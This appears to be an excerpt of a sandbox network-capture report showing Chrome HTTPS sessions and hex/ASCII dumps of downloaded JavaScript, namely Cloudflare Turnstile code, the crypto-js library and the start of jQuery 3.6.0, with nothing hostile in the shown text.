2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 4f 4d 3d 22 63 75 73 74 6f 6d 22 7d 29 28 57 65 7c 7c 28 57 65 3d 7b 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 64 61 72 6b 22 2c 22 6c 69 67 68 74 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 63 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3e 30 26 26 65 3c 39 65 35 7d 66 75 6e 63 74 69 6f 6e 20 75 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3e 30 26 26 65 3c 33 36 65 34 7d 76 61 72 20 49 72 3d 2f 5e 5b 30 2d 39 41 2d 5a 61 2d 7a 5f 2d 5d 7b 33 2c Data Ascii: OM="custom"})(We\|\|(We={}));function M(e,r){return e.indexOf(r)!==-1}function it(e){return M(["auto","dark","light"],e)}function ot(e){return M(["auto","never"],e)}function ct(e){return e>0&&e<9e5}function ut(e){return e>0&&e<36e4}var Ir=/^[0-9A-Za-z_-]{3,
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 2c 65 72 3d 22 2e 67 2d 72 65 63 61 70 74 63 68 61 22 2c 68 74 3d 22 63 66 5f 63 68 61 6c 6c 65 6e 67 65 5f 72 65 73 70 6f 6e 73 65 22 2c 5f 74 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 2c 62 74 3d 22 67 2d 72 65 63 61 70 74 63 68 61 2d 72 65 73 70 6f 6e 73 65 22 2c 74 72 3d 38 65 33 2c 45 74 3d 22 70 72 69 76 61 74 65 2d 74 6f 6b 65 6e 22 2c 72 72 3d 33 2c 6e 72 3d 35 30 30 2c 61 72 3d 35 30 30 2c 59 3d 22 22 3b 76 61 72 20 4e 72 3d 5b 22 62 67 2d 62 67 22 2c 22 64 61 2d 64 6b 22 2c 22 64 65 2d 64 65 22 2c 22 65 6c 2d 67 72 22 2c 22 6a 61 2d 6a 70 22 2c 22 6d 73 2d 6d 79 22 2c 22 72 75 2d 72 75 22 2c 22 73 6b 2d 73 6b 22 2c 22 73 6c 2d 73 69 22 2c 22 73 72 2d 62 61 22 2c 22 74 6c 2d 70 68 22 2c 22 75 6b 2d 75 61 22 5d 2c 6b Data Ascii: ,er=".g-recaptcha",ht="cf_challenge_response",_t="cf-turnstile-response",bt="g-recaptcha-response",tr=8e3,Et="private-token",rr=3,nr=500,ar=500,Y="";var Nr=["bg-bg","da-dk","de-de","el-gr","ja-jp","ms-my","ru-ru","sk-sk","sl-si","sr-ba","tl-ph","uk-ua"],k
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 62 6f 73 65 4c 61 6e 67 75 61 67 65 2c 6e 3d 65 2e 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 2c 6f 3d 65 2e 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3b 72 65 74 75 72 6e 20 6e 26 26 72 3f 22 35 34 30 70 78 22 3a 6e 26 26 6f 3f 22 35 30 30 70 78 22 3a 6e 3f 22 34 38 30 70 78 22 3a 72 3f 22 36 35 30 70 78 22 3a 6f 3f 22 35 39 30 70 78 22 3a 22 35 37 30 70 78 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 42 65 28 65 29 7b 69 66 28 65 3d 3d 3d 76 6f 69 64 20 30 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 20 65 7d Data Ascii: boseLanguage,n=e.isSmallerFeedback,o=e.isModeratelyVerbose;return n&&r?"540px":n&&o?"500px":n?"480px":r?"650px":o?"590px":"570px"};function Be(e){if(e===void 0)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 30 3b 72 65 74 75 72 6e 20 71 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 63 72 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 69 66 28 74 79 70 65 6f 66 20 72 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 69 66 28 72 2e 68 61 73 28 6f 29 29 72 65 74 75 72 6e 20 72 2e 67 65 74 28 6f 29 3b 72 2e 73 65 74 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 72 65 74 75 72 6e 20 53 65 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 63 65 28 74 Data Ascii: 0;return qe=function(o){if(o===null\|\|!cr(o))return o;if(typeof o!="function")throw new TypeError("Super expression must either be null or a function");if(typeof r!="undefined"){if(r.has(o))return r.get(o);r.set(o,c)}function c(){return Se(o,arguments,ce(t
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 20 72 3d 65 2e 73 72 63 2c 6e 3d 7b 6c 6f 61 64 65 64 41 73 79 6e 63 3a 21 31 2c 70 61 72 61 6d 73 3a 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 2c 73 72 63 3a 72 7d 3b 28 65 2e 61 73 79 6e 63 7c 7c 65 2e 64 65 66 65 72 29 26 26 28 6e 2e 6c 6f 61 64 65 64 41 73 79 6e 63 3d 21 30 29 3b 76 61 72 20 6f 3d 72 2e 73 70 6c 69 74 28 22 3f 22 29 3b 72 65 74 75 72 6e 20 6f 2e 6c 65 6e 67 74 68 3e 31 26 26 28 6e 2e 70 61 72 61 6d 73 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 6f 5b 31 5d 29 29 Data Ascii: uld not find Turnstile script tag, some features may not be available",43777);var r=e.src,n={loadedAsync:!1,params:new URLSearchParams,src:r};(e.async\|\|e.defer)&&(n.loadedAsync=!0);var o=r.split("?");return o.length>1&&(n.params=new URLSearchParams(o[1]))
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 45 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 35 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 3d 22 68 69 64 64 65 6e 22 2c 45 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 3d 22 30 70 78 20 61 75 74 6f 22 3b 76 61 72 20 53 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 53 2e 69 64 3d 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2d 66 72 22 29 2c 53 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 68 29 2c 53 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 6c 6c 6f 77 22 Data Ascii: yle.backgroundColor="#ffffff",E.style.borderRadius="5px",E.style.left="0px",E.style.top="0px",E.style.overflow="hidden",E.style.margin="0px auto";var S=document.createElement("iframe");S.id="".concat(e,"-fr"),S.setAttribute("src",h),S.setAttribute("allow"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49728	104.17.25.14	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:25 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:25 UTC	957	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:18:25 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1125253 Expires: Sun, 28 Dec 2025 14:18:25 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vmp2umf7jGP6cAcveSUwxAegfwaRPg18AcT3cPBzymcFhNp3ryeZdH8FiHMuGk%2Fv0ONZP37TSUS%2F2S4doNXr0lmVYJpLmxDpMQOdC9N7W93UilcAcCgdqA7aebKvIoJJr6K44dZN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8fe493b71f483314-EWR alt-svc: h3=":443"; ma=86400
2025-01-07 14:18:25 UTC	412	IN	Data Raw: 37 62 66 34 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf4!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 Data Ascii: globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.creat
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 Data Ascii: ll(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)t
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b 61 Data Ascii: of t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 3f Data Ascii: r t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d 3e Data Ascii: r(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]>
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e Data Ascii: t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:fun
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 Data Ascii: rAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQR
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e Data Ascii: sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this.
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 Data Ascii: m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49729	151.101.66.137	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:25 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:25 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1744032 Date: Tue, 07 Jan 2025 14:18:25 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740052-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 0 X-Timer: S1736259506.830900,VS0,VE1 Vary: Accept-Encoding
2025-01-07 14:18:25 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| 